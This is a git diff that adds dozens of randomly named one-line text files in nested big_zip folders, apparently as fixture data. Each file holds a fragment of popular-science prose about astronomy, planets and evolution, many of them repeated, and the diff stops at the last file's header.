diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/mfmtaxwbyj.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/mfmtaxwbyj.txt
new file mode 100644
index 0000000..b16fdef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/mfmtaxwbyj.txt
@@ -0,0 +1 @@
+geologically very different from Chryse and Cydonia, were selected in the radar-certified
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/npwmdqeramfmqwyvvxx.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/npwmdqeramfmqwyvvxx.txt
new file mode 100644
index 0000000..1046190
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/npwmdqeramfmqwyvvxx.txt
@@ -0,0 +1 @@
+not in keeping with the prejudices of the time to explain the phases or eclipses of the Moon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/pmpailwquz.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/pmpailwquz.txt
new file mode 100644
index 0000000..d99e9a6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/pmpailwquz.txt
@@ -0,0 +1 @@
+reproductive cells - the eggs or sperm - of planetary systems, that planets are produced by a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/rzcaoqpkjpzfxz.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/rzcaoqpkjpzfxz.txt
new file mode 100644
index 0000000..e4a2400
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/rzcaoqpkjpzfxz.txt
@@ -0,0 +1 @@
+uncomfortable. In many cases the colonists might have to change - or as we would
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/tfsbrrzlnhz.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/tfsbrrzlnhz.txt
new file mode 100644
index 0000000..ab49619
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/tfsbrrzlnhz.txt
@@ -0,0 +1 @@
+Bangs.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/xxdpnvzhiyfplyhr.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/xxdpnvzhiyfplyhr.txt
new file mode 100644
index 0000000..45e23b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/xxdpnvzhiyfplyhr.txt
@@ -0,0 +1 @@
+impact would produce a dust cloud rising off the surface of the Moon with an appearance
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/yedckoobsjfvaop.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/yedckoobsjfvaop.txt
new file mode 100644
index 0000000..c47a4ce
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/yedckoobsjfvaop.txt
@@ -0,0 +1 @@
+nebulae were not distant island universes but rather nearby condensing clouds of interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/zgajegltwjyxguqgzgaa.txt b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/zgajegltwjyxguqgzgaa.txt
new file mode 100644
index 0000000..f445f49
--- /dev/null
+++ b/big_zip/big-zip-files/folder_tjrjqqmiku/folder_czusfjlerv/folder_pxgyphwpme/folder_kgxpxefgnp/zgajegltwjyxguqgzgaa.txt
@@ -0,0 +1 @@
+piece of neutron star matter were dropped from nearby space, with the Earth rotating
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_bbqphwjybjc.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_bbqphwjybjc.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_bbqphwjybjc.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_cfmyjztaoaoke.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_cfmyjztaoaoke.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_cfmyjztaoaoke.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_eowsywjaizjeppytz.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_eowsywjaizjeppytz.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_eowsywjaizjeppytz.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_hjwwiwwicvpvkfdcejjg.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_hjwwiwwicvpvkfdcejjg.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_hjwwiwwicvpvkfdcejjg.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_hoglflwfzgrtzfamaa.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_hoglflwfzgrtzfamaa.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_hoglflwfzgrtzfamaa.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_mrlioxzddbpnegurxkpppc.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_mrlioxzddbpnegurxkpppc.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_mrlioxzddbpnegurxkpppc.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_osvcpyiqg.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_osvcpyiqg.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_osvcpyiqg.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_pttjlzrimxjgiwfafxcqowwb.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_pttjlzrimxjgiwfafxcqowwb.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_pttjlzrimxjgiwfafxcqowwb.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_tgvhohpu.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_tgvhohpu.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_tgvhohpu.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_vgpybccqoukvlhz.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_vgpybccqoukvlhz.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_vgpybccqoukvlhz.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_wgahzhgecmsobuf.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_wgahzhgecmsobuf.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_wgahzhgecmsobuf.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_xjxkkyuijzah.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_xjxkkyuijzah.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_xjxkkyuijzah.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/file_zxuumkissaaz.txt b/big_zip/big-zip-files/folder_trxwljhoxs/file_zxuumkissaaz.txt
new file mode 100644
index 0000000..de2d2ad
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/file_zxuumkissaaz.txt
@@ -0,0 +1 @@
+Some matter, particularly the matter in the stars, glows in visible light and is easy to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_bqtbckcd.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_bqtbckcd.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_bqtbckcd.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fsellrnxjsaosskwtmdbgp.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fsellrnxjsaosskwtmdbgp.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fsellrnxjsaosskwtmdbgp.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fuqvuetaijntud.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fuqvuetaijntud.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_fuqvuetaijntud.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_gpcyjesftnbc.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_gpcyjesftnbc.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_gpcyjesftnbc.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_kgtgteiea.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_kgtgteiea.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_kgtgteiea.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_knhhamjji.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_knhhamjji.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_knhhamjji.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_mcjyksntthchwjeez.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_mcjyksntthchwjeez.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_mcjyksntthchwjeez.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nbmbwkknrmgmnjgvnqbbwh.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nbmbwkknrmgmnjgvnqbbwh.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nbmbwkknrmgmnjgvnqbbwh.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nccpyhrdsss.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nccpyhrdsss.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_nccpyhrdsss.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_osyoyucvenfublvdiua.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_osyoyucvenfublvdiua.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_osyoyucvenfublvdiua.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_qxtnonwirplftejj.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_qxtnonwirplftejj.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_qxtnonwirplftejj.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_tcteamgvnvmaorpiqr.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_tcteamgvnvmaorpiqr.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_tcteamgvnvmaorpiqr.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_ugiaogdjeefbtfmhtmur.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_ugiaogdjeefbtfmhtmur.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_ugiaogdjeefbtfmhtmur.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_vtjkhhabxpkljpxmr.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_vtjkhhabxpkljpxmr.txt
new file mode 100644
index 0000000..982b837
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/file_vtjkhhabxpkljpxmr.txt
@@ -0,0 +1 @@
+Many years ago, so the story goes, a celebrated newspaper publisher sent a telegram to a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_fibpkbtsgqibsdk.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_fibpkbtsgqibsdk.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_fibpkbtsgqibsdk.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_gyeznjlosotqi.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_gyeznjlosotqi.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_gyeznjlosotqi.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jggytusnpv.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jggytusnpv.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jggytusnpv.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jzakdzgnrizhzoengrrvo.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jzakdzgnrizhzoengrrvo.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_jzakdzgnrizhzoengrrvo.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_manjcephti.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_manjcephti.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_manjcephti.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_mfbrmlxfvsfbgzbogwlwziv.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_mfbrmlxfvsfbgzbogwlwziv.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_mfbrmlxfvsfbgzbogwlwziv.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ndczyyjnumrxljhfdhdii.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ndczyyjnumrxljhfdhdii.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ndczyyjnumrxljhfdhdii.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ngbamqarorbiemtt.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ngbamqarorbiemtt.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_ngbamqarorbiemtt.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nqrxsbcbwooydras.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nqrxsbcbwooydras.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nqrxsbcbwooydras.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nrxlsdjpxkxgh.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nrxlsdjpxkxgh.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_nrxlsdjpxkxgh.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qbzvpvbmletyxdcim.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qbzvpvbmletyxdcim.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qbzvpvbmletyxdcim.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qdqxfpfkvnfyfyd.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qdqxfpfkvnfyfyd.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qdqxfpfkvnfyfyd.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qzgonroklgdxhgptvmvxbv.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qzgonroklgdxhgptvmvxbv.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_qzgonroklgdxhgptvmvxbv.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_rtrkygopjsgbvbrqyepqtzr.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_rtrkygopjsgbvbrqyepqtzr.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_rtrkygopjsgbvbrqyepqtzr.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_scnscpjqjwiuwezp.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_scnscpjqjwiuwezp.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_scnscpjqjwiuwezp.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_seqcbkhpykcfmqm.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_seqcbkhpykcfmqm.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_seqcbkhpykcfmqm.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_sjymhvygclwapnbkwgufe.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_sjymhvygclwapnbkwgufe.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_sjymhvygclwapnbkwgufe.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_tdfkqtnsni.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_tdfkqtnsni.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_tdfkqtnsni.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_uuurtetjvtzazfelpwslpjzx.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_uuurtetjvtzazfelpwslpjzx.txt
new file mode 100644
index 0000000..3188b59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/file_uuurtetjvtzazfelpwslpjzx.txt
@@ -0,0 +1 @@
+makes an organism work better. And yet it is that improbable event, a small beneficial
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ejkajamekhdn.txt b/big_zip/big-zip-files/folder_trxwljhoxs/folder_dsdztdgmjn/folder_kkssjerhxf/folder_kcfzohkdos/file_ejkajamekhdn.txt
new file mode 100644
index 0000000..f732872
--- /dev/null
